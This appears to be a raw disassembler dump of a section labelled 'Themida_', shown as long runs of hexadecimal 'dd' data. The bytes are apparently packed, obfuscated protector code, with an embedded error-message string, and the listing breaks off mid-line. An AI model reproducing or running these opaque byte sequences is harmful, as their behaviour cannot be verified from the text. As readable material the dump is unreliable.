6071F5Dh dd 0C89B589h, 0C0850607h, 4850Fh, 0BF660000h, 858985FBh dd 609F5AFh, 3B5B501h, 0FE90607h, 0C3000000h, 2879A163h dd 49A22FC2h, 192165F8h, 6A0F82h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 7BC35141h, 0B0D2D181h, 6A2E56h dd 7E9h, 0FB8A2E00h, 5895E85h, 6E9006Ah, 64000000h, 0EA3FD063h dd 66006A7Dh, 6AF98Bh, 8DCA8B66h, 9F78D85h, 0DE906h, 0E3E70000h dd 6D62C3DBh, 9E75C9C6h, 506E20D0h, 1F5BD89h, 16A0607h dd 13A1B529h, 16A0607h, 6ACE8B66h, 0C8BF0F01h, 0F01FF68h dd 0C1816600h, 0BD835B23h, 6072AA1h, 4B840F00h dword_529868 dd 50000000h, 6890Fh, 958B0000h, 6072D29h, 0C858D5Fh, 0E90609F6h ; DATA XREF: Themida_:00516FF5o dd 14h, 0E83CC75Fh, 0EBC2CC59h, 98A60E3Bh, 0A1E100B5h dd 0D855DF4Fh, 25E9h, 14E900h, 35250000h, 0F4B8C339h, 0F39FEC10h dd 38A10075h, 4645F240h, 858D3AA2h, 609F5E2h, 13598589h dd 29500607h, 72D4D95h, 50FA8B06h, 0FFFFEA80h, 9F5AFB5h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 959582EFh, 0D962774Eh, 8D895010h, 6072A9Dh dd 9B95FF59h, 800609F5h, 0C08502D5h, 32850Fh, 53520000h dd 59F88B66h, 0A4E959h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 0C1C1FC3h, 6BC18157h dd 59720188h, 0F5B38589h, 6A0609h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 0FAD0B8C3h, 585B5132h dd 0B3B5FF39h, 6A0609F5h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 6095C355h, 5E8h, 17B1C300h dd 8503A792h, 6072DEDh, 898D8B5Eh, 6106071Dh, 15E195FFh dd 958B0607h, 6070DA9h, 850FC085h, 6, 1FCAC181h, 106A18D3h dd 12CD8589h, 0BD830607h, 6072AA1h, 62840F00h, 60000000h dd 0CE9h, 0F8DDF300h, 9F56AED9h, 0D31900BDh, 96F480C2h dd 10E961h, 1DF0000h, 0E134611Fh, 0F8D30F8Dh, 75623B7Fh dd 858DA479h, 609F60Ch, 0DE9h, 55B60B00h, 351FF5F9h, 9915E92Bh dd 28E960C8h, 0E9000000h, 0Fh, 0B2CD93AAh, 0F4D0908h, 6E49C093h dd 8B56BE2Fh, 7162195h, 0E2858D06h, 0F0609F5h, 28Ah, 50FEB100h dd 6C58D33h, 0B5FF0607h, 609F5AFh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 0DCC35242h, 95FFA8FDh, 609F5A7h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 72C35545h dd 8F4FD11Ch, 0BF0FC2B2h, 0FC085D3h, 285h, 89FCFC00h, 9F5B385h dd 0F5B50906h, 6A06071Eh, 0CE900h, 0B2800000h, 56432EFDh dd 6128EE1Ah, 6AD1EFh, 2FB9BD8Bh, 81660607h, 0FF68FBEAh dd 9F5B3B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1804h, 0C3534300h, 13866F57h, 9F95FFDBh, 10609F5h, 72C2985h dd 0FC08506h, 285h, 0FFDEB600h, 9F5B3B5h, 56006A06h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 0A1D7905Ch, 82008065h, 8D89A630h, 6070C15h, 15E195FFh dd 0C0850607h, 4850Fh, 0B9660000h, 6A717Ch, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0B5C35747h, 9D89E100h dd 60709F1h, 8068h, 1C830F00h, 0E8000000h, 14h, 75514423h dd 19C8F836h, 0DC72568Bh, 0F96B162Bh, 63526033h, 6A5A6160h dd 25958B03h, 6A060716h, 6ACE8B00h, 2B96600h, 68FBh, 6AC000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 0B5FFAEC3h, 609F62Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 2DC35747h, 57DC569h, 0BD8BEE7Fh, 6070DD9h dd 72995FFh, 8A0F0607h, 0Ah, 5E9h, 0F1002500h, 0F883053Fh dd 3850FFFh, 57000005h, 0FF5AF98Bh, 0A009985h, 0AD958B06h dd 83060713h, 0A0099BDh, 840F0206h, 3F7h, 3B858DF8h, 60005B24h dd 50DEB70Fh, 1D5950Bh, 615E0607h, 8B66D0FFh, 8E858DD1h dd 0E9005B1Eh, 11h, 0E251FB46h, 4883F072h, 0B3A0C9EBh dd 0F1FEFCFh, 8BD0FFD5h, 0E9C08BFEh, 9, 0DEEE78DEh, 0B45283F2h dd 0BE8ABh, 8A50000h, 0DA089DF2h, 3C753736h, 7E9B6h, 0B80A0000h dd 2C7A4B55h, 0BD835F97h, 6070FF5h, 83097500h, 73001BDh dd 19740006h, 0C08B5350h, 7D8B8h, 0D5858900h, 8D060709h dd 9ACA79Dh, 5BD3FF06h, 1BD8358h, 60730h, 53501774h, 7D8B8h dd 0D5858900h, 8D060709h, 9A9969Dh, 5BD3FF06h, 57006A58h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 8F20F7F5h, 0DF8129FDh, 6403201Eh, 5E8h, 0C4EB9500h dd 8157820Bh, 1B2372E9h, 8B5F5A23h, 52006AC0h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 3C58E8B5h dd 0A5A04B8Bh, 4FF68062h, 0F003F68h, 99BD8900h, 6A06072Eh dd 0F7816600h, 6A3138h, 8B99529h, 95FF0607h, 6071F5Dh dd 11B58960h, 0E9060720h, 6, 0AC15BA2Dh, 85615B8Bh, 0F28166C0h dd 85891F52h, 609F5AFh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 0D2C35343h, 0B7CFEB56h, 0A5952995h, 6806071Ch dd 0F01FFh, 27B5BD8Bh, 0BD830607h, 6072AA1h, 3A840F00h dd 9000000h, 70AF9B5h, 0C858D06h, 8B0609F6h, 710F98Dh dd 4DE906h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 0B1F294C3h, 8A48A1B0h, 0E2858DD4h dd 6A0609F5h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 9072C355h, 2E00FC6Dh, 5038B228h dd 6E960h, 9C710000h, 8C7FF3C9h, 6AC2D081h, 0FF6175C0h dd 9F5AFB5h, 0ED952906h, 0FF06071Dh, 9F5A795h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 0F7CF2B83h, 8589EFFAh, 609F5B3h, 201D8501h, 85C70607h dd 60712B5h, 0 dd 0DFD9D29h, 0BD830607h, 609F5B3h, 82840F00h, 8D000001h dd 9F89185h, 4830F06h, 66000000h, 509467B9h, 258D0960h dd 89060721h, 706699Dh, 8D0F6106h, 3, 6AFB8B66h, 0C88B6601h dd 0F5B3B5FFh, 95290609h, 6072545h, 0F5AB95FFh, 85010609h dd 607156Dh, 0F5B3B5FFh, 0C1810609h, 22442AC4h, 15E195FFh dd 0BA660607h, 0FF6855CDh, 81000F01h, 0A23DAAF7h, 0A1BD8318h dd 6072Ah, 4B840Fh, 0B1600000h, 0E781667Eh, 8D61031Ah dd 9F60C85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1704h, 0C3524200h, 20660FDAh, 275D8D8Bh, 4CE90607h dd 0F000000h, 680h, 0C5BD2300h, 8B060701h, 72FCDBDh, 0E2858D06h dd 6A0609F5h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 0DAFFC355h, 9FBAAF13h, 0C860FB1h dd 0E9000000h, 7, 20A224h, 505C7C62h, 0BD958B60h, 29060715h dd 721AD9Dh, 0B5FF6106h, 609F5AFh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 19h, 0A6C35040h, 0F8C69AE9h, 0A795FFF8h dd 0F0609F5h, 8589CAB7h, 609F5B3h, 0ADBD8B60h, 9060704h dd 7323DBDh, 0B5FF6106h, 609F5B3h, 8E28166h, 0A395FFCCh dd 0BA0609F5h, 4E98E7Ch, 0C69EDCBAh, 0B3B5FF73h, 660609F5h dd 81BED2BAh, 80D5C8EFh, 0E195FF4Eh, 29060715h, 71B158Dh dd 0F6C8E906h, 9531FFFFh, 6070CE1h, 0FF3CD580h, 0A00FCB5h dd 0CF816606h, 95FF7016h, 60700BDh, 14ADB531h, 858B0607h dd 60730E9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 21C35141h, 0E9FA8BFDh, 566h, 8DFBBF0Fh, 9F8B1B5h dd 0F5BD2B06h, 8D060710h, 9A67685h, 98F18106h, 8A7DA45Ch dd 0FD0FFD0h, 689h, 0D9958B00h, 6A06070Dh, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 6A34B7Ch, 0D11D7CD9h, 0D195FFFCh, 23060707h, 714BD8Dh dd 0BE906h, 79190000h, 0AA9200F0h, 0BA16A8DBh, 0BFF38BA0h dd 2D19F5BFh, 2021BD03h, 858D0607h, 609A676h, 11E9h, 5B4A5F00h dd 1C926A5Bh, 8A6A03F1h, 3504701Fh, 0D0FF1382h, 378B69BFh dd 80006A3Ah, 95FF87C2h, 60707D1h, 5D5BD2Bh, 0C08B0607h dd 0BD83FEB6h, 6070FF5h, 83097500h, 73001BDh, 19740006h dd 0C08B5350h, 7D9B8h, 0D5858900h, 8D060709h, 9ACA79Dh dd 5BD3FF06h, 1BD8358h, 60730h, 53501774h, 7D9B8h, 0D5858900h dd 8D060709h, 9A9969Dh, 5BD3FF06h, 52006A58h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 96AF9FB8h dd 2E61D955h, 958951BFh, 6072FC5h, 0EF816659h, 0C08B7A91h dd 25ED8D01h, 6A500607h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 9F9CC356h, 4D75D63h dd 3D5D41F2h, 8D53D88Bh, 724C99Dh, 89038B06h, 50438B03h dd 8D504389h, 0A00959Dh, 89038B06h, 0CB8B5B03h, 68F0Fh dd 958B0000h, 6071271h, 14E9006Ah, 0C4000000h, 8E8FDB9Fh dd 2FEBF6E0h, 0DAEF2475h, 2DC92E63h, 8D237442h, 0A009585h dd 3850F06h, 66000000h, 8B50CF8Bh, 70BCD95h, 6A606A06h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 0A84CC357h, 958B0811h, 6071D61h, 8DFA8B66h dd 724C985h, 10830F06h, 0E9000000h, 0Bh, 8A46DD89h, 0DE59EA83h dd 5093154Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 22C35747h, 0E40FC85Eh, 6143EF03h, 0E8006A70h, 5 dd 4ADE3673h, 0B98D8B94h, 59060716h, 0BD89006Ah, 60731B1h dd 180068h, 0E9953100h, 53060721h, 0FFF98B66h, 72BC595h dd 0FFCF8B06h, 71FF995h, 60F98B06h, 28C0Fh, 61600000h dd 615BFC52h, 0FCB5FFh, 6A060Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1B0424h, 55450000h, 912617C3h, 43457188h dd 9DBD8BF7h, 0FF06071Dh, 700BD95h, 5E806h, 0D8FE0000h dd 89C940B5h, 72C81B5h, 858D5906h, 60724C9h, 1EF1BD31h dd 408B0607h, 0C7DDB118h, 7215D85h, 6, 9EF28100h, 837FC4E2h dd 72AA1BDh, 840F0006h, 52h, 3D10D980h, 8Ch, 18F830Fh dd 0CE90000h, 0E0000000h, 0AC450039h, 0AB6F729Bh, 2BAB9749h dd 72CAD8Dh, 3AE906h, 0E9600000h, 7, 6A44E66Dh, 0E8B8F225h dd 0Fh, 0CAE7C998h, 0D565C01h, 0F30B638Dh, 668929A1h, 20C2C281h dd 983D615Ah, 0F000000h, 14083h, 0D58A6000h, 0D68B61FCh dd 243B858Dh, 0FE9005Bh, 71000000h, 8C405217h, 0FC11B410h dd 1CF39844h, 0D0FF5180h, 11E9h, 73C17100h, 9DDAA9A1h dd 30007A0h, 12F53AEBh, 858D811Eh, 5B1E8Eh, 16C98D89h dd 0D0FF0607h, 10E1BD8Bh, 820F0607h, 9, 3820Fh, 8B660000h dd 0FC08BFEh, 389h, 0D7B70F00h, 0FF5BD83h, 75000607h, 1BD8309h dd 60730h, 53501974h, 0C6B8C08Bh, 8900000Bh, 709D585h dd 0A79D8D06h, 0FF0609ACh, 83585BD3h, 73001BDh, 17740006h dd 0C6B85350h, 8900000Bh, 709D585h, 969D8D06h, 0FF0609A9h dd 8B585BD3h, 95B589CBh, 8B060714h, 0C88B66C0h, 0FFFF883h dd 4285h, 0E8C78100h, 0C70C572Fh, 701D185h, 6, 9D89F800h dd 6071EF1h, 109E9h, 0B9666000h, 0CE83FF6h, 7D000000h dd 9FED1A9Fh, 43209B4Ah, 80795B20h, 615865EBh, 24E9h, 41BD8900h dd 83060730h, 850F01F8h, 15h, 11F18529h, 0BE90607h, 56000001h dd 895A5A51h, 711DD95h, 0F214E906h, 0EE9FFFFh, 2C000000h dd 38EF120Ch, 0CBB0BB8Eh, 428B7524h, 0BAC08B32h, 5FCE67FFh dd 0FF5BD83h, 75000607h, 1BD8309h, 60730h, 53501974h, 0DDB8C08Bh dd 89000007h, 709D585h, 0A79D8D06h, 0FF0609ACh, 83585BD3h dd 73001BDh, 17740006h, 0DDB85350h, 89000007h, 709D585h dd 969D8D06h, 0FF0609A9h, 6A585BD3h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0BDFEC350h dd 0BAE847E9h, 0F714E402h, 15AD958Bh, 0F2800607h, 14E88Ch dd 89810000h, 0BD17D2F6h, 0AE039548h, 34B445D8h, 8ED4024Ah dd 8B5F9ADFh, 0C1BD29C0h, 0E9060709h, 242h, 2CC5BD09h dd 858D0607h, 609FE99h, 3165B589h, 85890607h, 60A0091h dd 0DA816660h, 0BD8912F3h, 6070709h, 5FE961h, 11E80000h dd 53000000h, 760F6A56h, 160DA97Ah, 361E4195h, 4F8B2053h dd 858D5FF9h, 609FCA1h, 0E1BC6CBFh, 6A4071h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 0E0623CC3h dd 0BD284ABAh, 663DE9E3h, 89E8A8BFh, 0A009185h, 68A0F06h dd 8B000000h, 704898Dh, 8D346A06h, 72AE185h, 0B5FF5006h dd 60A0091h, 95FF006Ah, 6071BB9h, 0F07F883h, 16884h, 0DB8C6600h dd 0F04C3F6h, 10285h, 585C600h, 5606072Ch, 0A8B85268h dd 2DB5FF9Ch, 8D06071Bh, 73B2485h, 6AD0FF06h, 10006804h dd 646A0000h, 0D0FF006Ah, 1048589h, 85C6060Ah, 6072C05h dd 0AC9B6847h, 0B5FFEC18h, 6071B2Dh, 3B24858Dh dd 0D0FF0607h, 0F08BD0FFh, 2C0585C6h, 684F0607h, 0C62F2661h dd 1E95B5FFh, 858D0607h, 6073B24h, 9D8DD0FFh, 60A0100h dd 56286A53h, 0C085D0FFh, 85C60075h, 6072C05h, 64986841h dd 0B5FFDB87h, 6071E95h, 3B24858Dh, 0D0FF0607h, 11D8589h dd 85C6060Ah, 6072C05h, 0E7A4684Ch, 0B5FF80A4h, 6071E95h dd 3B24858Dh, 0D0FF0607h, 1049D8Bh, 5B8D060Ah, 9D8D5304h dd 60A0109h, 0FF006A53h, 49D8BD0h, 0C7060A01h, 103h, 0C43C700h dd 2, 1E3D9D8Bh, 85C70607h, 60704B1h, 0 aJjj: unicode 0, <jjj> dw 9D8Bh dd 60A0104h, 0FF006A53h, 0A0100B5h, 1D95FF06h, 0C6060A01h dd 72C0585h, 97684506h, 0FF92A5F7h, 71B01B5h, 24858D06h dd 0FF06073Bh, 6A006AD0h, 66D0FF02h, 0C3F6DB8Ch, 8B327504h dd 0A01049Dh, 0C43C706h, 0 dd 6A006Ah, 1049D8Bh, 6A53060Ah, 0B5FF00h, 0FF060A01h dd 0A011D95h, 0B5FF06h, 0FF060A01h, 71FF995h, 0FF006A06h dd 707D195h, 6AF906h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 8A0F42C3h, 6, 0AED8D89h, 858D0607h dd 60A33C4h, 6EC28150h, 8A31036Eh, 35FF64D1h, 0 dd 6820F52h, 29000000h, 71DAD95h, 89645906h, 25h, 0E9858900h dd 83060704h, 7217DBDh, 840F0006h, 33h, 8DBD83F8h, 1060721h dd 25850Fh, 0D7810000h, 46685C1Fh, 51DBD80h, 0F00060Ah dd 1285h, 1D8D8900h, 0E906070Ch, 13Fh, 0FB0B660h, 3361C7BFh dd 11E9DBh, 0E1B20000h, 80152623h, 82D2E350h, 0F3D338DAh dd 339D5369h, 8529FCC0h, 6070CE9h, 73F0F40h, 58F640Bh dd 0 dd 5704C483h, 0CF59D89h, 0F5A0607h, 0FB83D7BFh, 0E840FFFh dd 29000000h, 7154995h, 0DFE906h, 0D1800000h, 81E97Eh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 0FE938C3h, 7A000000h, 0AA72EC15h, 1A852F3Bh dd 1FCE6CBBh, 4C8B8014h, 81C70C24h, 0A4h, 0FFFFFFFFh, 0B88183h dd 33040000h, 5C8BC3C0h, 0E8550C24h, 0 dd 0E6ED815Dh, 8B060A33h, 0B883h, 75858D00h, 89060A34h dd 0B883h, 0C0335D00h, 498589C3h, 0F06071Ah, 68Dh, 0ED8D8900h dd 8D060711h, 0A33DC85h, 0E9815006h, 5AEE1578h, 12DD950Bh dd 0FF640607h, 35h, 1840F00h, 0F9000000h, 258964h, 89000000h dd 721F5BDh, 0AB906h, 4B80000h, 54855D7h, 0DF78164h, 85D465BBh dd 0B640BA86h, 0EA810034h, 345FE8h, 68FB81EDh, 75564D58h dd 5985C70Ah, 1060700h, 64000000h, 58Fh, 0C4830000h, 0E9805004h dd 95035F54h, 60725EDh, 0FDDB589h, 0D7BF0607h, 8B3B2359h dd 99BD03C0h, 0B9060712h, 5FD5160Fh, 0FF5BD83h, 75000607h dd 1BD8309h, 60730h, 53501974h, 3DB8C08Bh, 89000004h, 7265D85h dd 0E9D8D06h, 0FF0609ADh, 83585BD3h, 73001BDh, 17740006h dd 3DB85350h, 89000004h, 7265D85h, 0AF9D8D06h, 0FF0609A9h dd 23585BD3h, 72841BDh, 0E9C08B06h, 147h, 4, 31392E31h dd 30h, 6 dup(0) dd 78450000h, 74706563h, 206E6F69h, 6F666E49h, 74616D72h dd 6E6F69h, 61656C50h, 202C6573h, 746E6F63h, 20746361h dd 20656874h, 74666F73h, 65726177h, 76656420h, 706F6C65h dd 20737265h, 68746977h, 65687420h, 6C6F6620h, 69776F6Ch dd 6320676Eh, 7365646Fh, 6854202Eh, 206B6E61h, 2E756F79h dd 0D0A0D0Ah, 2 dup(20202020h), 65727028h, 43207373h, 2B4C5254h dd 6E6F2043h, 69687420h, 69772073h, 776F646Eh, 206F7420h dd 79706F63h, 206F7420h, 70696C63h, 72616F62h, 20202964h dd 0D0A2020h, 65560D0Ah, 6F697372h, 3D20206Eh, 0A732520h dd 6568430Dh, 4E496B63h, 203D2020h, 0D0A6425h, 63656843h dd 54554F6Bh, 25203D20h, 500D0A64h, 49636F72h, 2020204Eh dd 6425203Dh, 72500D0Ah, 554F636Fh, 3D202054h, 0A642520h dd 6978450Dh, 204E4974h, 203D2020h, 0D0A6425h, 74697845h dd 2054554Fh, 25203D20h, 540D0A64h, 206E6950h, 20202020h dd 6425203Dh, 83000D0Ah, 702B5BDh, 840F0006h, 12Dh, 0A7C6858Dh dd 8D500609h, 9A73085h, 1685006h, 0FF800000h, 9A7D695h dd 0FA858D06h, 50060A34h, 3504858Dh, 6A50060Ah, 8D006A00h dd 9A74485h, 0B5FF5006h, 609A7C6h, 308D95FFh, 858D0607h dd 60A34FAh, 8858D50h, 50060A35h, 6A006Ah, 0A756858Dh dd 0FF500609h, 9A7C6B5h, 8D95FF06h, 8D060730h, 0A34FA85h dd 858D5006h, 60A3514h, 6A006A50h, 0A3858D00h, 500609A7h dd 0A7C6B5FFh, 95FF0609h, 607308Dh, 34FA858Dh, 8D50060Ah dd 0A351C85h, 6A5006h, 858D006Ah, 609A7C1h, 0C6B5FF50h dd 0FF0609A7h, 7308D95h, 0FA858D06h, 50060A34h, 3518858Dh dd 6A50060Ah, 8D006A00h, 9A7AA85h, 0B5FF5006h, 609A7C6h dd 308D95FFh, 858D0607h, 60A34FAh, 0C858D50h, 50060A35h dd 6A006Ah, 0A7B2858Dh, 0FF500609h, 9A7C6B5h, 8D95FF06h dd 8D060730h, 0A34FA85h, 858D5006h, 60A3510h, 6A006A50h dd 0B9858D00h, 500609A7h, 0A7C6B5FFh, 95FF0609h, 607308Dh dd 0A7C6B5FFh, 95FF0609h, 6070A79h, 0A2E9h, 0EDBD8300h dd 60714h, 95840Fh, 0BD830000h, 607218Dh, 11850F00h, 8B000000h dd 72FBD95h, 0F8C28106h, 0E900001Ch, 0Fh, 24C9958Dh, 528B0607h dd 40C28134h, 893BD4C3h, 70FE195h, 0E1BD8306h, 6070Fh dd 55840Fh, 9D8B0000h, 6070FE1h, 8B4CC383h, 4858903h, 8B060A35h dd 70FE19Dh, 50C38306h, 8589038Bh, 60A3508h, 0FE19D8Bh dd 0C3830607h, 89038B54h, 0A351485h, 0E19D8B06h, 8306070Fh dd 38B58C3h, 35188589h, 9D8B060Ah, 6070FE1h, 8B5CC383h dd 0C858903h, 83060A35h, 702B5BDh, 850F0006h, 0Dh, 14EDBD83h dd 0F000607h, 6884h, 1CB5FF00h, 0FF060A35h, 0A3510B5h dd 0CB5FF06h, 0FF060A35h, 0A3518B5h, 14B5FF06h, 0FF060A35h dd 0A3508B5h, 4B5FF06h, 8D060A35h, 0A34FE85h, 858D5006h dd 60A3536h, 71858D50h, 50060717h, 2B6995FFh, 0C4830607h dd 8D406A24h, 0A352085h, 858D5006h, 6071771h, 0FF006A50h dd 71BB995h, 0FF016A06h, 707D195h, 0EBC18B06h, 46F31718h dd 9Bh, 4 dup(0) dd 20BE900h, 8B600000h, 0E824245Ch, 0 dd 0CAED815Dh, 61060A38h, 0E90004C2h, 0FFFFFFE6h, 8C26160h dd 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h, 8C26160h dd 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h, 2 dup(0) dd 0E9C36160h, 0FFFFFFF8h, 3902B58Bh, 0E681060Ah, 0FFFFF000h dd 0BE9h, 19E800h, 0C6810000h, 1000h, 3906B53Bh, 860F060Ah dd 0FFFFFFE9h, 0FD8200Fh, 60CFD822h, 6650C361h, 324C88Ch dd 840FC00Ah, 19h, 2BB5350h, 8B000000h, 70FE185h, 0A188606h dd 0F6850FDBh, 5BFFFFFFh, 4FF5858h, 0CFE9C324h, 50FFFFFFh dd 82474FFh, 162D95FFh, 0F500607h, 0FE244C01h, 1CC08358h dd 245C8B53h, 5889660Ch, 588966FCh, 8C665B02h, 0A0324C8h dd 9840FC0h, 8B000000h, 70FE185h, 0C606h, 2404FF58h, 0E90004C2h dd 0FFFFFFBBh, 8C665053h, 3E380CBh, 840FDB0Ah, 38h, 2BBh dd 0E1858B00h, 8606070Fh, 0FDB0A18h, 0FFFFF685h, 0ED85C7FFh dd 6070Ch, 8B000000h, 8B082444h, 100098h, 988900h, 8B000010h dd 0E9188918h, 0Ah, 0CED85C7h, 1000607h, 5B580000h, 0C32404FFh dd 0FFFFA3E9h, 3E8060FFh, 31840F00h, 0BB000000h, 763AB7A1h dd 1B101B0h, 13E9h, 0C88AAC00h, 0C332C302h, 0BAACBD1h dd 1840FD2h, 4A000000h, 850FC90Ah, 0FFFFFFE5h, 850FD20Bh dd 0FFFFFFDDh, 8B52C361h, 7A8B57D4h, 0E9C03308h, 1, 3F80AAh dd 0FFF6850Fh, 5A5FFFFFh, 530004C2h, 0C0335651h, 10E9DB33h dd 0AC000000h, 0D3D1D833h, 5ABCC381h, 0C88A3746h, 0B49D3D3h dd 0E8850FC9h, 8BFFFFFFh, 5B595EC3h, 0A1BB60C3h, 0B0763AB7h dd 11E901h, 32AC0000h, 0D1C32AC3h, 0D20BAACBh, 1840Fh dd 0A4A0000h, 0E7850FC0h, 0BFFFFFFh, 0DF850FD2h, 61FFFFFFh dd 0D88C66C3h, 840F04A8h, 29h, 38A785C7h, 1060Ah, 0F500000h dd 0FE244C01h, 38AB858Fh, 858D060Ah, 60A38A3h, 38ABBD8Dh dd 3889060Ah, 23E9h, 0C9858D00h, 8B060724h, 17053840h dd 899B46F3h, 0A38A385h, 0C9858D06h, 8B060724h, 85893C40h dd 60A38A7h, 38C0858Dh, 8589060Ah, 607162Dh, 87E9h, 0D48B5200h dd 8728B60h, 0B80C7A8Bh, 0A945CAB2h, 7E9h, 30060000h, 46C8D106h dd 820FF73Bh, 0FFFFFFF1h, 8C25A61h, 0D48B5200h, 8728B60h dd 0B80C7A8Bh, 0A945CAB2h, 7E9h, 28063000h, 46C8D106h dd 820FF73Bh, 0FFFFFFF1h, 8C25A61h, 0D48B5200h, 33535156h dd 8728BDBh, 0E90C4A8Bh, 13h, 0F2D3CACh, 0A84h, 34980400h dd 0C1D83213h, 0B4908C3h, 0E5850FC9h, 8BFFFFFFh, 5E595BC3h dd 8C25Ah, 3B33858Dh, 8589060Ah, 6071995h, 3B5B858Dh, 8589060Ah dd 60701FDh, 3B83858Dh, 8589060Ah, 60707A5h, 0B3605060h dd 63BF661Dh, 8B5961E5h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 18BA663Ah, 0F5BD8310h dd 6070Fh, 0BD830975h, 6073001h, 50197400h, 0B8C08B53h dd 40Eh, 9D58589h, 9D8D0607h, 609ACA7h, 585BD3FFh, 3001BD83h dd 74000607h, 0B8535017h, 40Eh, 9D58589h, 9D8D0607h, 609A996h dd 585BD3FFh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 29C35141h, 0BA6FDBBFh, 1B2D585Fh, 8166606Fh, 0F5E727C9h dd 0FC08B61h, 0FE9D3BFh, 32000000h, 39585B51h, 7CF7F148h dd 327B8703h, 0BD83FFE8h, 607217Dh, 0D840F00h, 0F000000h dd 4EE9F7BFh, 0BE000002h, 73CCD807h, 0EA81DF8Ch, 68CF6F4Dh dd 4C7F766h, 36850F00h, 0F000002h, 0BD83F0BFh, 6072AA1h dd 46850F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 8DB5C351h, 92DDFD9Bh dd 200E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 8B281957h, 6AFF2BD0h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0BEFBC356h dd 3C43DC0Ah, 0BFD85844h, 0FCEDCD80h, 3E929D8Dh, 0F5BE060Ah dd 936C70B0h, 14E8h, 0B60BF800h, 1FF5F955h, 15E92B35h dd 9160C899h, 2F00BA2h, 5E70B2F2h, 0F130B950h, 0F93254Dh dd 78Ah, 0B9666000h, 61FCA81Fh, 35FF64h, 0B9000000h, 1337264Dh dd 258964h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 4467C352h, 3062EC25h dd 0C48BF9C6h, 4860Fh, 0BE660000h, 1CD0B40h, 8A6000EBh dd 0F68166EBh, 6A61BF0Fh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 649FC357h, 58Fh, 9E90000h dd 3B000000h, 88D11FB1h, 1E6BFD31h, 0BA04C483h, 7A9CA15Bh dd 840FC00Bh, 0E9h, 0F61A5B5h, 284h, 8DCB8B00h, 76D68BDh dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 245C4F28h, 0EF591D74h, 9E9F9h, 0E0630000h dd 76AFFF75h, 0B806D4DAh, 1, 38B0Fh, 8B660000h, 0E9E7FFF1h dd 0Ah, 6209174Eh, 56A39BEBh, 14E8B23Ah, 91000000h, 30618397h dd 0F429A2CFh, 0FEEC4113h, 0AEC8DECh, 5A141552h, 245C8B57h dd 0B8838B10h, 0F000000h, 0FE0140B6h, 0B08389C8h, 83000000h dd 0B883h, 335F0200h, 6AC3C0h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 0E6BC84C3h, 0AB6F6F5h dd 0E9519E44h, 0Ch, 0C15D7D4Dh, 8C602DA7h, 0C60CC030h dd 0A840Fh, 850F0000h, 4, 0B432BA66h, 569CB1B9h, 6A6144h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 4A351C3h, 72845DBEh, 0C1F18166h, 66C08B22h, 834928B9h dd 70FF5BDh, 9750006h, 3001BD83h, 74000607h, 8B535019h dd 40EB8C0h, 85890000h, 607265Dh, 0AD0E9D8Dh, 0D3FF0609h dd 0BD83585Bh, 6073001h, 50177400h, 40EB853h, 85890000h dd 607265Dh, 0A9AF9D8Dh, 0D3FF0609h, 